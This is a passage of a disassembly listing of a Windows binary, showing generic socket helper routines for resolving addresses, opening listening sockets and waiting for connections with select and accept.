loc_4044CC xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044CC: ; CODE XREF: sub_40449C+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DF58 ; getnameinfo test eax, eax jz short loc_4044F2 xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044F2: ; CODE XREF: sub_40449C+50j push 1 pop eax locret_4044F5: ; CODE XREF: sub_40449C+2Ej ; sub_40449C+54j leave retn sub_40449C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044F7 proc near ; CODE XREF: sub_40732D+DDp ; sub_4129CA+29p ... var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_404527 xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_404527: ; CODE XREF: sub_4044F7+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DF58 ; getnameinfo test eax, eax jz short loc_40454D xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_40454D: ; CODE XREF: sub_4044F7+50j push 1 pop eax locret_404550: ; CODE XREF: sub_4044F7+2Ej ; sub_4044F7+54j leave retn sub_4044F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404552 proc near ; CODE XREF: sub_41331E+A6p ; sub_415F69+256p var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_404582 xor eax, eax jmp short locret_4045B0 ; --------------------------------------------------------------------------- loc_404582: ; CODE XREF: sub_404552+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_4045B0: ; CODE XREF: sub_404552+2Ej leave retn sub_404552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045B2 proc near ; CODE XREF: sub_4143B0+191p ; sub_415F69+20Ap var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_4045E2 xor eax, eax jmp short locret_404610 ; --------------------------------------------------------------------------- loc_4045E2: ; CODE XREF: sub_4045B2+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_404610: ; CODE XREF: sub_4045B2+2Ej leave retn sub_4045B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404612 proc near ; CODE XREF: sub_40D871+69Cp var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40Ch lea eax, [ebp+var_408] push eax push 0 push 0 push [ebp+arg_0] call dword_41DF54 ; getaddrinfo test eax, eax jnz loc_4046B8 mov eax, [ebp+var_408] mov [ebp+var_40C], eax loc_404643: ; CODE XREF: sub_404612+98j cmp [ebp+var_40C], 0 jz short loc_4046AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_404] push eax mov eax, [ebp+var_40C] push dword ptr [eax+10h] mov eax, [ebp+var_40C] push dword ptr [eax+18h] call dword_41DF58 ; getnameinfo test eax, eax jnz short loc_40469B mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 2 jnz short loc_40469B lea eax, [ebp+var_404] push eax push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx mov al, 1 jmp short locret_4046BA ; --------------------------------------------------------------------------- loc_40469B: ; CODE XREF: sub_404612+66j ; sub_404612+72j mov eax, [ebp+var_40C] mov eax, [eax+1Ch] mov [ebp+var_40C], eax jmp short loc_404643 ; --------------------------------------------------------------------------- loc_4046AC: ; CODE XREF: sub_404612+38j push [ebp+var_408] call dword_41DF5C ; freeaddrinfo loc_4046B8: ; CODE XREF: sub_404612+1Fj xor al, al locret_4046BA: ; CODE XREF: sub_404612+87j leave retn sub_404612 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046BC proc near ; CODE XREF: sub_4020C2+124p ; sub_403DF3+36p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch xor eax, eax test eax, eax jz short loc_4046D1 mov [ebp+var_3C], 2 jmp short loc_4046D8 ; --------------------------------------------------------------------------- loc_4046D1: ; CODE XREF: sub_4046BC+Aj mov [ebp+var_3C], 1 loc_4046D8: ; CODE XREF: sub_4046BC+13j mov eax, [ebp+var_3C] mov [ebp+var_8], eax push 1008h call sub_416B46 ; malloc pop ecx mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jnz short loc_4046F9 xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_4046F9: ; CODE XREF: sub_4046BC+34j mov eax, [ebp+var_2C] and dword ptr [eax], 0 mov eax, [ebp+var_2C] and dword ptr [eax+804h], 0 push 20h push 0 lea eax, [ebp+var_28] push eax call sub_416B6A ; memset add esp, 0Ch call sub_40432E neg eax sbb eax, eax and al, 0FEh inc eax inc eax mov [ebp+var_24], eax mov eax, [ebp+var_8] mov [ebp+var_20], eax mov [ebp+var_28], 5 lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] push 0 call dword_41DF54 ; getaddrinfo test eax, eax jz short loc_40475D push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_40475D: ; CODE XREF: sub_4046BC+8Fj mov eax, [ebp+var_30] mov [ebp+var_4], eax jmp short loc_40476E ; --------------------------------------------------------------------------- loc_404765: ; CODE XREF: sub_4046BC+DDj ; sub_4046BC+F1j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40476E: ; CODE XREF: sub_4046BC+A7j cmp [ebp+var_4], 0 jz loc_40484E mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFFh jnz short loc_40479B jmp short loc_404765 ; --------------------------------------------------------------------------- loc_40479B: ; CODE XREF: sub_4046BC+DBj mov eax, [ebp+var_4] cmp dword ptr [eax+4], 2 jz short loc_4047AF mov eax, [ebp+var_4] cmp dword ptr [eax+4], 17h jz short loc_4047AF jmp short loc_404765 ; --------------------------------------------------------------------------- loc_4047AF: ; CODE XREF: sub_4046BC+E6j ; sub_4046BC+EFj mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz short loc_4047D6 mov [ebp+var_38], 1 push 4 lea eax, [ebp+var_38] push eax push 4 push 0FFFFh push [ebp+var_34] call dword_417204 ; setsockopt loc_4047D6: ; CODE XREF: sub_4046BC+FBj mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_34] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4047FE push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_4047FE: ; CODE XREF: sub_4046BC+132j cmp [ebp+var_8], 1 jnz short loc_404822 push 32h push [ebp+var_34] call dword_417268 ; listen cmp eax, 0FFFFFFFFh jnz short loc_404822 push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_404822: ; CODE XREF: sub_4046BC+146j ; sub_4046BC+156j mov eax, [ebp+var_2C] mov eax, [eax] mov ecx, [ebp+var_2C] mov edx, [ebp+var_34] mov [ecx+eax*4+4], edx mov eax, [ebp+var_2C] mov eax, [eax] inc eax mov ecx, [ebp+var_2C] mov [ecx], eax mov eax, [ebp+var_2C] cmp dword ptr [eax], 200h jnz short loc_404849 jmp short loc_40484E ; --------------------------------------------------------------------------- loc_404849: ; CODE XREF: sub_4046BC+189j jmp loc_404765 ; --------------------------------------------------------------------------- loc_40484E: ; CODE XREF: sub_4046BC+B6j ; sub_4046BC+18Bj push [ebp+var_30] call dword_41DF5C ; freeaddrinfo mov eax, [ebp+var_2C] cmp dword ptr [eax], 0 jnz short loc_40486C push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp short locret_40486F ; --------------------------------------------------------------------------- loc_40486C: ; CODE XREF: sub_4046BC+1A1j mov eax, [ebp+var_2C] locret_40486F: ; CODE XREF: sub_4046BC+38j ; sub_4046BC+9Cj ... leave retn sub_4046BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404871 proc near ; CODE XREF: sub_411BBC+B0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40488F xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_40488F: ; CODE XREF: sub_404871+18j mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+arg_0] add eax, [ecx] cmp eax, 200h jbe short loc_4048AD push [ebp+var_4] call sub_404CBB pop ecx xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_4048AD: ; CODE XREF: sub_404871+2Dj mov eax, [ebp+var_4] mov eax, [eax] shl eax, 2 push eax mov eax, [ebp+var_4] add eax, 4 push eax mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+arg_0] lea eax, [ecx+eax*4+4] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+var_4] add eax, [ecx] mov ecx, [ebp+arg_0] mov [ecx], eax push [ebp+var_4] call sub_416B4C ; free pop ecx push 1 pop eax locret_4048ED: ; CODE XREF: sub_404871+1Cj ; sub_404871+3Aj leave retn sub_404871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048EF proc near ; CODE XREF: sub_4020C2+22Ep ; sub_403DF3+8Dp ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h push esi mov [ebp+var_4], 80h and [ebp+var_8C], 0 jmp short loc_404916 ; --------------------------------------------------------------------------- loc_404909: ; CODE XREF: sub_4048EF+133j ; sub_4048EF:loc_404A32j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404916: ; CODE XREF: sub_4048EF+18j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404A37 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404A32 loc_40494A: ; CODE XREF: sub_4048EF+100j and [ebp+var_9C], 0 jmp short loc_404960 ; --------------------------------------------------------------------------- loc_404953: ; CODE XREF: sub_4048EF:loc_4049E6j mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax loc_404960: ; CODE XREF: sub_4048EF+62j mov eax, [ebp+arg_0] mov ecx, [ebp+var_9C] cmp ecx, [eax+804h] jnb short loc_4049EB mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_4049E6 loc_404990: ; CODE XREF: sub_4048EF+E0j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_9C], eax jnb short loc_4049D1 mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_9C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax jmp short loc_404990 ; --------------------------------------------------------------------------- loc_4049D1: ; CODE XREF: sub_4048EF+B1j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049E6: ; CODE XREF: sub_4048EF+9Fj jmp loc_404953 ; --------------------------------------------------------------------------- loc_4049EB: ; CODE XREF: sub_4048EF+80j ; sub_4048EF+F5j xor eax, eax test eax, eax jnz loc_40494A lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call dword_4171FC ; accept mov [ebp+var_98], eax cmp [ebp+var_98], 0FFFFFFFFh jnz short loc_404A27 jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A27: ; CODE XREF: sub_4048EF+131j mov eax, [ebp+var_98] jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404A32: ; CODE XREF: sub_4048EF+55j jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A37: ; CODE XREF: sub_4048EF+32j mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 and [ebp+var_8C], 0 jmp short loc_404A57 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_4048EF+21Dj mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404A57: ; CODE XREF: sub_4048EF+159j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404B11 loc_404A68: ; CODE XREF: sub_4048EF+217j and [ebp+var_A0], 0 jmp short loc_404A7E ; --------------------------------------------------------------------------- loc_404A71: ; CODE XREF: sub_4048EF:loc_404AB0j mov eax, [ebp+var_A0] inc eax mov [ebp+var_A0], eax loc_404A7E: ; CODE XREF: sub_4048EF+180j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnb short loc_404AB2 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404AB0 jmp short loc_404AB2 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_4048EF+1BDj jmp short loc_404A71 ; --------------------------------------------------------------------------- loc_404AB2: ; CODE XREF: sub_4048EF+19Ej ; sub_4048EF+1BFj mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnz short loc_404B02 mov eax, [ebp+arg_0] cmp dword ptr [eax+804h], 200h jnb short loc_404B02 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+4] mov [ecx+eax*4+808h], edx mov eax, [ebp+arg_0] mov eax, [eax+804h] inc eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax loc_404B02: ; CODE XREF: sub_4048EF+1D2j ; sub_4048EF+1E1j xor eax, eax test eax, eax jnz loc_404A68 jmp loc_404A4A ; --------------------------------------------------------------------------- loc_404B11: ; CODE XREF: sub_4048EF+173j mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_94], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_90], edx lea eax, [ebp+var_94] push eax push 0 push 0 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_41722C ; select mov [ebp+var_88], eax cmp [ebp+var_88], 0 jnz short loc_404B71 or eax, 0FFFFFFFFh jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B71: ; CODE XREF: sub_4048EF+278j cmp [ebp+var_88], 0FFFFFFFFh jnz short loc_404B81 xor eax, eax jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B81: ; CODE XREF: sub_4048EF+289j and [ebp+var_8C], 0 jmp short loc_404B97 ; --------------------------------------------------------------------------- loc_404B8A: ; CODE XREF: sub_4048EF+3B4j ; sub_4048EF:loc_404CB0j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404B97: ; CODE XREF: sub_4048EF+299j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404CB5 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404CB0 loc_404BCB: ; CODE XREF: sub_4048EF+381j and [ebp+var_A8], 0 jmp short loc_404BE1 ; --------------------------------------------------------------------------- loc_404BD4: ; CODE XREF: sub_4048EF:loc_404C67j mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax loc_404BE1: ; CODE XREF: sub_4048EF+2E3j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A8] cmp ecx, [eax+804h] jnb short loc_404C6C mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404C67 loc_404C11: ; CODE XREF: sub_4048EF+361j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_A8], eax jnb short loc_404C52 mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_A8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax jmp short loc_404C11 ; --------------------------------------------------------------------------- loc_404C52: ; CODE XREF: sub_4048EF+332j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_404C6C ; --------------------------------------------------------------------------- loc_404C67: ; CODE XREF: sub_4048EF+320j jmp loc_404BD4 ; --------------------------------------------------------------------------- loc_404C6C: ; CODE XREF: sub_4048EF+301j ; sub_4048EF+376j xor eax, eax test eax, eax jnz loc_404BCB lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call dword_4171FC ; accept mov [ebp+var_A4], eax cmp [ebp+var_A4], 0FFFFFFFFh jnz short loc_404CA8 jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CA8: ; CODE XREF: sub_4048EF+3B2j mov eax, [ebp+var_A4] jmp short loc_404CB8 ; --------------------------------------------------------------------------- loc_404CB0: ; CODE XREF: sub_4048EF+2D6j jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CB5: ; CODE XREF: sub_4048EF+2B3j or eax, 0FFFFFFFFh loc_404CB8: ; CODE XREF: sub_4048EF+13Ej ; sub_4048EF+27Dj ... pop esi leave retn sub_4048EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CBB proc near ; CODE XREF: sub_4020C2+175p ; sub_4020C2+25Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404CCC ; --------------------------------------------------------------------------- loc_404CC5: ; CODE XREF: sub_404CBB+3Ej mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404CCC: ; CODE XREF: sub_404CBB+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax] jnb short loc_404CFB cmp dword_41DF08, 0 jz short loc_404CE9 mov eax, [ebp+arg_0] cmp dword ptr [eax], 64h jbe short loc_404CE9 jmp short loc_404CFB ; --------------------------------------------------------------------------- loc_404CE9: ; CODE XREF: sub_404CBB+22j ; sub_404CBB+2Aj mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_4053B1 pop ecx jmp short loc_404CC5 ; --------------------------------------------------------------------------- loc_404CFB: ; CODE XREF: sub_404CBB+19j ; sub_404CBB+2Cj mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 push [ebp+arg_0] call sub_416B4C ; free pop ecx leave retn sub_404CBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D10 proc near ; CODE XREF: sub_41349C+1B7p ; sub_4143B0+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 200h jbe short loc_404D21 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D21: ; CODE XREF: sub_404D10+Bj push 1010h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_404D39 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D39: ; CODE XREF: sub_404D10+23j mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] locret_404D4B: ; CODE XREF: sub_404D10+Fj ; sub_404D10+27j leave retn sub_404D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D4D proc near ; CODE XREF: sub_41349C+417p ; sub_4143B0+109p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] cmp eax, [ecx] jnz short loc_404D6A push [ebp+arg_0] call sub_4053B1 pop ecx xor eax, eax jmp short loc_404D99 ; --------------------------------------------------------------------------- loc_404D6A: ; CODE XREF: sub_404D4D+Ej mov eax, [ebp+arg_4] mov eax, [eax+4] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov [ecx+eax*4+0Ch], edx mov eax, [ebp+arg_4] mov eax, [eax+4] inc eax mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] xor edx, edx cmp eax, [ecx] setnz dl mov eax, edx loc_404D99: ; CODE XREF: sub_404D4D+1Bj pop ebp retn sub_404D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D9B proc near ; CODE XREF: sub_41349C+512p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404DAC ; --------------------------------------------------------------------------- loc_404DA5: ; CODE XREF: sub_404D9B:loc_404E18j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404DAC: ; CODE XREF: sub_404D9B+8j mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short locret_404E1A mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4+0Ch] cmp eax, [ebp+arg_0] jnz short loc_404E18 mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+8] jb short loc_404DDE mov eax, [ebp+arg_4] mov eax, [eax+8] dec eax mov ecx, [ebp+arg_4] mov [ecx+8], eax loc_404DDE: ; CODE XREF: sub_404D9B+34j mov eax, [ebp+arg_4] mov eax, [eax+4] sub eax, [ebp+var_4] shl eax, 2 push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+10h] push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+0Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_4] mov eax, [eax+4] dec eax mov ecx, [ebp+arg_4] mov [ecx+4], eax jmp short locret_404E1A ; --------------------------------------------------------------------------- loc_404E18: ; CODE XREF: sub_404D9B+29j jmp short loc_404DA5 ; --------------------------------------------------------------------------- locret_404E1A: ; CODE XREF: sub_404D9B+1Aj ; sub_404D9B+7Bj leave retn sub_404D9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E1C proc near ; CODE XREF: sub_41349C+45Fp ; sub_4143B0+14Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 and [ebp+var_8], 0 jmp short loc_404E41 ; --------------------------------------------------------------------------- loc_404E3A: ; CODE XREF: sub_404E1C+BDj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_404E41: ; CODE XREF: sub_404E1C+1Cj mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+4] jnb loc_404EDE loc_404E50: ; CODE XREF: sub_404E1C+B7j and [ebp+var_14], 0 jmp short loc_404E5D ; --------------------------------------------------------------------------- loc_404E56: ; CODE XREF: sub_404E1C:loc_404E86j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_404E5D: ; CODE XREF: sub_404E1C+38j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnb short loc_404E88 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+810h] cmp eax, [esi+edx*4+0Ch] jnz short loc_404E86 jmp short loc_404E88 ; --------------------------------------------------------------------------- loc_404E86: ; CODE XREF: sub_404E1C+66j jmp short loc_404E56 ; --------------------------------------------------------------------------- loc_404E88: ; CODE XREF: sub_404E1C+4Dj ; sub_404E1C+68j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnz short loc_404ECF mov eax, [ebp+arg_0] cmp dword ptr [eax+80Ch], 200h jnb short loc_404ECF mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+0Ch] mov [ecx+eax*4+810h], edx mov eax, [ebp+arg_0] mov eax, [eax+80Ch] inc eax mov ecx, [ebp+arg_0] mov [ecx+80Ch], eax loc_404ECF: ; CODE XREF: sub_404E1C+78j ; sub_404E1C+87j xor eax, eax test eax, eax jnz loc_404E50 jmp loc_404E3A ; --------------------------------------------------------------------------- loc_404EDE: ; CODE XREF: sub_404E1C+2Ej and [ebp+var_10], 0 mov [ebp+var_C], 3E8h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+arg_0] add eax, 80Ch push eax push 0 push 0 call dword_41722C ; select mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404F1A cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404F1A mov [ebp+var_18], 1 jmp short loc_404F1E ; --------------------------------------------------------------------------- loc_404F1A: ; CODE XREF: sub_404E1C+EDj ; sub_404E1C+F3j and [ebp+var_18], 0 loc_404F1E: ; CODE XREF: sub_404E1C+FCj mov eax, [ebp+var_18] pop esi leave retn sub_404E1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F24 proc near ; CODE XREF: sub_41349C+470p ; sub_4143B0+16Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_404F3A ; --------------------------------------------------------------------------- loc_404F33: ; CODE XREF: sub_404F24:loc_404F77j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F3A: ; CODE XREF: sub_404F24+Dj mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404F79 mov eax, [ebp+arg_0] add eax, 80Ch push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_404F77 mov eax, [ebp+var_4] inc eax mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4+0Ch] jmp short locret_404F7B ; --------------------------------------------------------------------------- loc_404F77: ; CODE 